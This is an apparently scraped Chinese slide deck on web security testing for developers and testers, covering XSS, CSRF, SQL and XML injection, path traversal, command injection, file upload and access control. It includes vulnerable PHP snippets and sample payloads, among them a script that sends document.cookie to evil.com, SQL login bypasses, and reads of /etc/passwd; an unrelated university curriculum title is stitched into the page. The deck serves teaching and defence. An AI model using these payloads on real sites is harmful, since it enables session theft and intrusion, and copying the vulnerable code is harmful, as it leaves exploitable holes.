WEB 安全测试开发人员的疏忽黑客会尝试每个页面每个功能测试人员测试每个页面每个功能安全测试就是黑客

Size: px

Start display at page:

Download "WEB 安全测试开发人员的疏忽黑客会尝试每个页面每个功能测试人员测试每个页面每个功能安全测试就是黑客"

驱款连
7 years ago
Views:

1 WEB 安全测试集团信息安全中心叶敏

2 WEB 安全测试开发人员的疏忽黑客会尝试每个页面每个功能测试人员测试每个页面每个功能安全测试就是黑客

3 阿里巴巴 WEB 安全现状 SDL 5 大漏洞业务漏洞上传漏洞后台目录 Hummock cc 攻击外部扫描 XSS 注入危险目录挂马监控 Apache Log XSS SQL 注入 path traverse 系统命令

4 SDL 需求分析业务安全设计检查需求分析是否体现在文档中框架安全

5 SDL 编码编码规范 5 大漏洞 Upload

6 SDL 测试 XSS CSRF SQL 注入 URL 跳转权限控制上传

7 SDL 代码安全 review XSS CSRF SQL 注入 URL 跳转权限控制上传

8 目录 XSS CSRF 注入攻击文件系统系统命令上传下载权限 Cookie 与会话随机与加密

9 跨站脚本 (XSS) XSS 又叫 CSS (Cross Site Script), 跨站脚本攻击它指的是恶意攻击者往 Web 页面里插入恶意 html 代码, 当用户浏览该页之时, 嵌入其中 Web 里面的 html 代码会被执行, 从而达到恶意用户的特殊目的盗取 Cookie 钓鱼操纵受害者的浏览器蠕虫攻击

10 反射型跨站 (Reflected XSS) 服务端获取 HTTP 请求中的参数, 未经过滤直接输出到客户端如果这些参数是脚本, 它将在客户端执行 ( 钓鱼常见 ) /* error.php */ <?php echo "<p>error: ". $_GET['msg']. "</p>";?> 请求 <p>error: file not found</p> 请求 <p>error: <script>alert(123)</script></p> 10

11 反射型跨站 (Reflected XSS) attacker victim s browser naive.com name=<script>window.open( cookie= +document.cookie) </script> GET/ steal.cgi?cookie= GET/ hello.cgi?name= <script>window.open( evil.com/steal.cgi?cookie + document.cookie)</script> <HTML>Hello, dear <script>window.open( evil.com/steal.cgi?cookie= +document.cookie)</script> Welcome!</HTML> hello.cgi executed 11

12 存储型跨站 (Stored XSS) 用户输入的数据存放在服务端 ( 一般放数据库里 ), 其他用户访问某个页面时, 这些数据未经过滤直接输出这些数据可能是恶意脚本, 对其他用户造成危害 ( 挂马常见 )

13 存储型跨站 (Stored XSS) 在允许上传文件的应用中, 攻击者上传一个包含恶意代码的 html 或 txt 文件, 用户浏览这些文件时执行恶意代码一般的应用中上传图片最普遍, 如果图片中包含恶意代码, 低版的 IE 直接请求这个图片时, 将忽略 Content-Type 执行图片中的代码 HTTP/ OK Date: Sat, 5 May :52:25 GMT Server: Apache Content-Length: 39 Content-Type: image/jpeg <script>alert(document.cookie)</script>

14 DOM 跨站 (DOM-Based XSS) 攻击者构造一个包含恶意 Javascript 的 URL, 然后引诱用户请求这个 URL 服务器收到请求后没有返回恶意的 Javascript 浏览器在处理 URL 中的数据时, 执行恶意代码  <body> <script> document.write(document.location.hash); </script> </body> 请求

15 跨站请求伪造 (CSRF) 强迫受害者的浏览器向一个易受攻击的 Web 应用程序发送请求, 最后达到攻击者所需要的操作行为恶意请求会带上浏览器的 Cookie 受攻击的 Web 应用信任浏览器的 Cookie <img src= />

16 Flash 客户端 XSS CSRF 服务端 crossdomain.xml

17 SQL 注入用户输入的数据未经验证就用来构造 SQL 查询语句查询数据库中的敏感内容绕过认证添加删除修改数据拒绝服务?id=(BENCHMARK( , MD5(RAND())); 17

18 SQL 注入 $sql = "SELECT name FROM users WHERE id = '". $_GET['id']. "'"; 当 id 的值为 :1 or 1=1 -- 查询语句 :SELECT name FROM users WHERE id = 1 or 1=1 -- $sql = "SELECT * FROM admins WHERE name = '". $_GET['name']. "' and pass='". $_GET['pass']. "'"; 当 name 的值为 : or 1=1 -- 查询语句 :SELECT * FROM admins WHERE name = '' or 1=1 --' and pass=''

19 XML 注入和 SQL 注入原理一样,XML 是存储数据的地方, 如果在查询或修改时, 如果没有做转义, 直接输入或输出数据, 都将导致 XML 注入漏洞攻击者可以修改 XML 数据格式, 增加新的 XML 节点, 对数据处理流程产生影响 $xml = "<USER role=guest><name>. $_GET[ name ]. "</name>< >. $_GET[ ]. "</ ></user>"; 原本应该产生一条这样的记录 : <?xml version="1.0" encoding="utf-8"?> <USER role=guest> <name>user1 user1</name> < >user1@a.com user1@a.com</ > </USER>

20 XML 注入如果用户输入的内容是这样 : user1@a.com</ ></user><user role=admin><name>test</name>< >user2@a.com 最终结果将是这样 : <?xml version="1.0" encoding="utf-8"?> <USER role=guest> <name>user1</name> < >user1@a.com</ > </USER> <USER role=admin> <name>test</name> < >user2@a.com</ > </USER>

21 URL 跳转 Web 应用程序接收到用户提交的 URL 参数后, 没有对参数做可信任 URL 的验证, 就向用户浏览器返回跳转到该 URL 的指令钓鱼攻击 du.com

22 文件系统跨越文件系统中../ 代表上级目录通过一个或多个../ 跨越目录限制 $fp = fopen("image/{$_get['filename']}", 'r'); Getfile?filename=../../../../etc/passwd %00 截断路径名 echo file_get_contents($_get['filename'].'.txt'); Getfile?filename=../../../../etc/passwd%00 22

23 系统命令用户提交的参数用于执行系统命令的参数使用或 ; 执行多条命令 passthru( ), popen( ), shell_exec( ), system( ) system("ls -l ${_GET['dir']}");?dir=path; cat /etc/passwd

24 文件上传 Web 应用程序在处理用户上传的文件时, 没有判断文件的扩展名是否在允许的范围内, 或者没检测文件内容的合法性, 就把文件保存在服务器上, 甚至上传脚本木马到 web 服务器上, 直接控制 web 服务器未限制扩展名未检查文件内容病毒文件

25 任意文件下载下载附件等功能 Apache 虚拟目录指向 Java/PHP 读取文件下载数据库配置文件等目录浏览

26 权限控制有没有权限有些系统不需要权限控制有没有设置权限有了强大的权限系统, 但是没有使用有没有偷工减料权限 URL 级别菜单级别

27 访问控制水平权限 Web 应用程序接收到用户请求, 修改某条数据时, 没有判断数据的所属人, 或判断数据所属人时, 从用户提交的 request 参数 ( 用户可控数据 ) 中, 获取了数据所属人 id, 导致恶意攻击者可以通过变换数据 ID, 或变换所属人 id, 修改不属于自己的数据垂直权限由于 web 应用程序没有做权限控制, 或仅仅在菜单上做了权限控制, 导致的恶意用户只要猜测其他管理页面的 URL, 就可以访问或控制其他角色拥有的数据或页面, 达到权限提升目的

28 Cookie Cookie httponly flag Cookie secure flag

29 Session Expires 会话过期浏览器过期服务器 30 分钟无动作过期服务器 24 小时强制过期保持会话

30 随机与加密随机不可预测区分编码与加密加密强度

31 Q&A

天津天狮学院关于修订2014级本科培养方案的指导意见

天津天狮学院关于修订2014级本科培养方案的指导意见目录天津天狮院关于修订 2014 级本科培养方案的指导意见...1 金融类专业...9 金融专业培养方案...9 保险专业培养方案...14 人力资源管理专业培养方案...19 劳动与社会保障专业培养方案...24 工商管理类专业...29 市场营销专业

WEB 安全测试 开发人员的疏忽 黑客会尝试每个页面 每个功能 测试人员测试每个页面 每个功能 安全测试就是黑客

WEB 安全测试开发人员的疏忽黑客会尝试每个页面每个功能测试人员测试每个页面每个功能安全测试就是黑客